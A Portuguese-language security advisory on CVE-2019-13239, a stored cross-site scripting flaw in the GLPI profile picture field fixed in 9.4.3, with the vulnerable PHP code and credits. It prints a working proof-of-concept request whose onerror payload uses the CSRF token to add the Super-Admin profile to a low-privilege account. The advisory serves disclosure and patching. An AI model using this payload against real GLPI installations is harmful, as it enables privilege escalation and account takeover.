ASA-2019-00476 – GLPI: Stored Cross-Site Scripting (XSS) no nome da imagem do perfil


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00476

Identificador(es)

ASA-2019-00476, CVE-2019-13239

Título

Stored Cross-Site Scripting (XSS) no nome da imagem do perfil

Fabricante(s)

GLPI Project

Produto(s)

GLPI

Versão(ões) afetada(s)

GLPI 9.x versões anteriores a 9.4.3

Versão(ões) corrigida(s)

GLPI versão 9.4.3

Prova de conceito

Sim

Descrição

Foi descoberto que o GLPI não valida o nome da imagem do perfil que pode ser usado para injetar código HTML e JavaScript malicioso dentro da página. Se um administrador acessar o perfil, ele poderá ser usado para interagir com a instância do GLPI com o perfil do administrador e executar ações sensíveis, como adicionar a conta com poucos privilégios ao grupo de Super-administradores.

Detalhes técnicos

O formulário de perfil do usuário permite o upload de imagens como imagem de perfil. Isso é feito em 2 etapas:

  1. Upload de AJAX do arquivo.
  2. Atualize o perfil com o nome do arquivo recuperado da primeira solicitação do AJAX.

Essa imagem de perfil é o nome do arquivo da imagem enviada e esse nome de arquivo é armazenado no banco de dados.

A requisição POST se parece com:

POST /front/preference.php HTTP/1.1 
Host: 172.18.0.3
[…] 

------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="name"

testuser 
------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="id" 

5 
------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="realname"

------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="_picture[0]" 

5c6fc312b8ab50.57540855chat5.jpg
------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="_prefix_picture[0]" 

5c6fc312b8ab50.57540855 
------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="_tag_picture[0]"

435b1b81-d9d62df8-5c6fc312c12e01.39237464
------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="picture[]"; filename="" 
Content-Type: application/octet-stream

------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="_blank_picture" 
[…]

No entanto, o código responsável pelas preferências atualiza o model do usuário com as entradas de requisição:

if (isset($_POST["update"]) && ($_POST["id"] === Session::getLoginUserID())) { 
       $user->update($_POST); 
[...]

Como o model do usuário tem um campo de imagem, é possível atualizar o perfil com atributos HTML mal-intencionados e executar o JavaScript dentro do navegador da web. Por exemplo, a seguinte atualização de preferências pode ser usada para executar escalação de privilégio local se um administrador visualizar o perfil:

POST /front/preference.php HTTP/1.1 
Host: 172.18.0.3 
[…] 

------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="name" 

testuser 
------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="id" 

5 
[…] 
------WebKitFormBoundarynhQG0l132nzGvcpA 
Content-Disposition: form-data; name="picture[]"; filename="" 
Content-Type: application/octet-stream 

' 
onerror="$.ajax({url:'/front/profile_user.form.php',method:'POST',data:'users_id=5&entities _id=0&profiles_id=4&is_recursive=0&add=Add&_glpi_csrf_token='+$ ('input[name=_glpi_csrf_token]').val()});" a='

Este payload adicionará o perfil de Super-Admin (profiles_id=4) ao usuário (users_id=5).

O código é inserido sem qualquer sanitização pela função showMyForm in inc/user.class.php:

[...]
$full_picture = "<div class='user_picture_border'>";
$full_picture .= "<img class='user_picture' alt=\"".__s('Picture')."\" src='".
User::getURLForPicture($this->fields['picture'])."'>";
$full_picture .= "</div>";
[...]

A função getURLForPicture não limpa a string, permitindo a inserção de HTML.

Créditos

Julien Legras (Synactiv)

Referência(s)

Stored XSS in GLPI < 9.4.3
https://www.synacktiv.com/ressources/advisories/GLPI_9.4.0_stored_XSS.pdf

avoid xss attack on user picture
https://github.com/glpi-project/glpi/commit/c2aa7a7cd6af28be3809acc7e7842d2d2008c0fb

CVE-2019-13239
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13239

CVE-2019-13239
https://nvd.nist.gov/vuln/detail/CVE-2019-13239

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 5 agosto 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.